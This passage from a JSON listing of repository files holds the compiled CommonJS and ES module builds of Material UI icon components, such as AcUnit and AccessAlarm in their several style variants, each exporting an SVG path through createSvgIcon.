    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11h-4.17l3.24-3.24-1.41-1.42L15 11h-2V9l4.66-4.66-1.42-1.41L13 6.17V2h-2v4.17L7.76 2.93 6.34 4.34 11 9v2H9L4.34 6.34 2.93 7.76 6.17 11H2v2h4.17l-3.24 3.24 1.41 1.42L9 13h2v2l-4.66 4.66 1.42 1.41L11 17.83V22h2v-4.17l3.24 3.24 1.42-1.41L13 15v-2h2l4.66 4.66 1.41-1.42L17.83 13H22z\"\n}), 'AcUnit');"
  },
  {
    "path": "packages/mui-icons-material/lib/AcUnit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11h-4.17l3.24-3.24-1.41-1.42L15 11h-2V9l4.66-4.66-1.42-1.41L13 6.17V2h-2v4.17L7.76 2.93 6.34 4.34 11 9v2H9L4.34 6.34 2.93 7.76 6.17 11H2v2h4.17l-3.24 3.24 1.41 1.42L9 13h2v2l-4.66 4.66 1.42 1.41L11 17.83V22h2v-4.17l3.24 3.24 1.42-1.41L13 15v-2h2l4.66 4.66 1.41-1.42L17.83 13H22z\"\n}), 'AcUnit');"
  },
  {
    "path": "packages/mui-icons-material/lib/AcUnitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11h-4.17l3.24-3.24-1.41-1.42L15 11h-2V9l4.66-4.66-1.42-1.41L13 6.17V2h-2v4.17L7.76 2.93 6.34 4.34 11 9v2H9L4.34 6.34 2.93 7.76 6.17 11H2v2h4.17l-3.24 3.24 1.41 1.42L9 13h2v2l-4.66 4.66 1.42 1.41L11 17.83V22h2v-4.17l3.24 3.24 1.42-1.41L13 15v-2h2l4.66 4.66 1.41-1.42L17.83 13H22z\"\n}), 'AcUnitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AcUnitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11h-4.17l3.24-3.24-1.41-1.42L15 11h-2V9l4.66-4.66-1.42-1.41L13 6.17V2h-2v4.17L7.76 2.93 6.34 4.34 11 9v2H9L4.34 6.34 2.93 7.76 6.17 11H2v2h4.17l-3.24 3.24 1.41 1.42L9 13h2v2l-4.66 4.66 1.42 1.41L11 17.83V22h2v-4.17l3.24 3.24 1.42-1.41L13 15v-2h2l4.66 4.66 1.41-1.42L17.83 13H22z\"\n}), 'AcUnitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AcUnitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11h-3.17l2.54-2.54c.39-.39.39-1.02 0-1.41s-1.03-.39-1.42 0L15 11h-2V9l3.95-3.95c.39-.39.39-1.03 0-1.42a.996.996 0 0 0-1.41 0L13 6.17V3c0-.55-.45-1-1-1s-1 .45-1 1v3.17L8.46 3.63a.996.996 0 0 0-1.41 0c-.39.39-.39 1.03 0 1.42L11 9v2H9L5.05 7.05c-.39-.39-1.03-.39-1.42 0s-.39 1.02 0 1.41L6.17 11H3c-.55 0-1 .45-1 1s.45 1 1 1h3.17l-2.54 2.54c-.39.39-.39 1.02 0 1.41s1.03.39 1.42 0L9 13h2v2l-3.95 3.95c-.39.39-.39 1.03 0 1.42s1.02.39 1.41 0L11 17.83V21c0 .55.45 1 1 1s1-.45 1-1v-3.17l2.54 2.54c.39.39 1.02.39 1.41 0s.39-1.03 0-1.42L13 15v-2h2l3.95 3.95c.39.39 1.03.39 1.42 0s.39-1.02 0-1.41L17.83 13H21c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'AcUnitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AcUnitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11h-3.17l2.54-2.54c.39-.39.39-1.02 0-1.41s-1.03-.39-1.42 0L15 11h-2V9l3.95-3.95c.39-.39.39-1.03 0-1.42a.996.996 0 0 0-1.41 0L13 6.17V3c0-.55-.45-1-1-1s-1 .45-1 1v3.17L8.46 3.63a.996.996 0 0 0-1.41 0c-.39.39-.39 1.03 0 1.42L11 9v2H9L5.05 7.05c-.39-.39-1.03-.39-1.42 0s-.39 1.02 0 1.41L6.17 11H3c-.55 0-1 .45-1 1s.45 1 1 1h3.17l-2.54 2.54c-.39.39-.39 1.02 0 1.41s1.03.39 1.42 0L9 13h2v2l-3.95 3.95c-.39.39-.39 1.03 0 1.42s1.02.39 1.41 0L11 17.83V21c0 .55.45 1 1 1s1-.45 1-1v-3.17l2.54 2.54c.39.39 1.02.39 1.41 0s.39-1.03 0-1.42L13 15v-2h2l3.95 3.95c.39.39 1.03.39 1.42 0s.39-1.02 0-1.41L17.83 13H21c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'AcUnitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AcUnitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11h-4.17l3.24-3.24-1.41-1.42L15 11h-2V9l4.66-4.66-1.42-1.41L13 6.17V2h-2v4.17L7.76 2.93 6.34 4.34 11 9v2H9L4.34 6.34 2.93 7.76 6.17 11H2v2h4.17l-3.24 3.24 1.41 1.42L9 13h2v2l-4.66 4.66 1.42 1.41L11 17.83V22h2v-4.17l3.24 3.24 1.42-1.41L13 15v-2h2l4.66 4.66 1.41-1.42L17.83 13H22z\"\n}), 'AcUnitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AcUnitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11h-4.17l3.24-3.24-1.41-1.42L15 11h-2V9l4.66-4.66-1.42-1.41L13 6.17V2h-2v4.17L7.76 2.93 6.34 4.34 11 9v2H9L4.34 6.34 2.93 7.76 6.17 11H2v2h4.17l-3.24 3.24 1.41 1.42L9 13h2v2l-4.66 4.66 1.42 1.41L11 17.83V22h2v-4.17l3.24 3.24 1.42-1.41L13 15v-2h2l4.66 4.66 1.41-1.42L17.83 13H22z\"\n}), 'AcUnitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AcUnitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11h-4.17l3.24-3.24-1.41-1.42L15 11h-2V9l4.66-4.66-1.42-1.41L13 6.17V2h-2v4.17L7.76 2.93 6.34 4.34 11 9v2H9L4.34 6.34 2.93 7.76 6.17 11H2v2h4.17l-3.24 3.24 1.41 1.42L9 13h2v2l-4.66 4.66 1.42 1.41L11 17.83V22h2v-4.17l3.24 3.24 1.42-1.41L13 15v-2h2l4.66 4.66 1.41-1.42L17.83 13H22z\"\n}), 'AcUnitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AcUnitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11h-4.17l3.24-3.24-1.41-1.42L15 11h-2V9l4.66-4.66-1.42-1.41L13 6.17V2h-2v4.17L7.76 2.93 6.34 4.34 11 9v2H9L4.34 6.34 2.93 7.76 6.17 11H2v2h4.17l-3.24 3.24 1.41 1.42L9 13h2v2l-4.66 4.66 1.42 1.41L11 17.83V22h2v-4.17l3.24 3.24 1.42-1.41L13 15v-2h2l4.66 4.66 1.41-1.42L17.83 13H22z\"\n}), 'AcUnitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarm.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 5.72-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'AccessAlarm');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarm.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 5.72-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'AccessAlarm');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 5.72-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'AccessAlarmOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 5.72-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'AccessAlarmOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.87 15.25-3.37-2V8.72c0-.4-.32-.72-.72-.72h-.06c-.4 0-.72.32-.72.72v4.72c0 .35.18.68.49.86l3.65 2.19c.34.2.78.1.98-.24.21-.35.1-.8-.25-1m5.31-10.24L18.1 2.45c-.42-.35-1.05-.3-1.41.13-.35.42-.29 1.05.13 1.41l3.07 2.56c.42.35 1.05.3 1.41-.13.36-.42.3-1.05-.12-1.41M4.1 6.55l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41.35.43.98.48 1.4.13M12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AccessAlarmRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.87 15.25-3.37-2V8.72c0-.4-.32-.72-.72-.72h-.06c-.4 0-.72.32-.72.72v4.72c0 .35.18.68.49.86l3.65 2.19c.34.2.78.1.98-.24.21-.35.1-.8-.25-1m5.31-10.24L18.1 2.45c-.42-.35-1.05-.3-1.41.13-.35.42-.29 1.05.13 1.41l3.07 2.56c.42.35 1.05.3 1.41-.13.36-.42.3-1.05-.12-1.41M4.1 6.55l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41.35.43.98.48 1.4.13M12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AccessAlarmRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 5.72-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'AccessAlarmSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 5.72-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'AccessAlarmSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m3.75 10.85L11 14V8h1.5v5.25l4 2.37z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m.5-12H11v6l4.75 2.85.75-1.23-4-2.37zM22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53z\"\n}, \"1\")], 'AccessAlarmTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m3.75 10.85L11 14V8h1.5v5.25l4 2.37z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m.5-12H11v6l4.75 2.85.75-1.23-4-2.37zM22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53z\"\n}, \"1\")], 'AccessAlarmTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarms.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 5.7-4.6-3.9-1.3 1.5 4.6 3.9zM7.9 3.4 6.6 1.9 2 5.7l1.3 1.5zM12.5 8H11v6l4.7 2.9.8-1.2-4-2.4zM12 4c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9m0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7\"\n}), 'AccessAlarms');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarms.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 5.7-4.6-3.9-1.3 1.5 4.6 3.9zM7.9 3.4 6.6 1.9 2 5.7l1.3 1.5zM12.5 8H11v6l4.7 2.9.8-1.2-4-2.4zM12 4c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9m0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7\"\n}), 'AccessAlarms');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 5.7-4.6-3.9-1.3 1.5 4.6 3.9zM7.9 3.4 6.6 1.9 2 5.7l1.3 1.5zM12.5 8H11v6l4.7 2.9.8-1.2-4-2.4zM12 4c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9m0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7\"\n}), 'AccessAlarmsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 5.7-4.6-3.9-1.3 1.5 4.6 3.9zM7.9 3.4 6.6 1.9 2 5.7l1.3 1.5zM12.5 8H11v6l4.7 2.9.8-1.2-4-2.4zM12 4c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9m0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7\"\n}), 'AccessAlarmsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.87 15.25-3.37-2V8.72c0-.4-.32-.72-.72-.72h-.06c-.4 0-.72.32-.72.72v4.72c0 .35.18.68.49.86l3.65 2.19c.34.2.78.1.98-.24.21-.35.1-.8-.25-1m5.31-10.24L18.1 2.45c-.42-.35-1.05-.3-1.41.13-.35.42-.29 1.05.13 1.41l3.07 2.56c.42.35 1.05.3 1.41-.13.36-.42.3-1.05-.12-1.41M4.1 6.55l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41.35.43.98.48 1.4.13M12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AccessAlarmsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.87 15.25-3.37-2V8.72c0-.4-.32-.72-.72-.72h-.06c-.4 0-.72.32-.72.72v4.72c0 .35.18.68.49.86l3.65 2.19c.34.2.78.1.98-.24.21-.35.1-.8-.25-1m5.31-10.24L18.1 2.45c-.42-.35-1.05-.3-1.41.13-.35.42-.29 1.05.13 1.41l3.07 2.56c.42.35 1.05.3 1.41-.13.36-.42.3-1.05-.12-1.41M4.1 6.55l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41.35.43.98.48 1.4.13M12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AccessAlarmsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 5.7-4.6-3.9-1.3 1.5 4.6 3.9zM7.9 3.4 6.6 1.9 2 5.7l1.3 1.5zM12.5 8H11v6l4.7 2.9.8-1.2-4-2.4zM12 4c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9m0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7\"\n}), 'AccessAlarmsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 5.7-4.6-3.9-1.3 1.5 4.6 3.9zM7.9 3.4 6.6 1.9 2 5.7l1.3 1.5zM12.5 8H11v6l4.7 2.9.8-1.2-4-2.4zM12 4c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9m0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7\"\n}), 'AccessAlarmsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-3.9 0-7 3.1-7 7s3.1 7 7 7 7-3.1 7-7-3.1-7-7-7m3.7 10.9L11 14V8h1.5v5.3l4 2.4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 5.7-4.6-3.9-1.3 1.5 4.6 3.9zM12.5 8H11v6l4.7 2.9.8-1.2-4-2.4zM12 4c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9m0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7M7.9 3.4 6.6 1.9 2 5.7l1.3 1.5z\"\n}, \"1\")], 'AccessAlarmsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessAlarmsTwoTone.mjs",
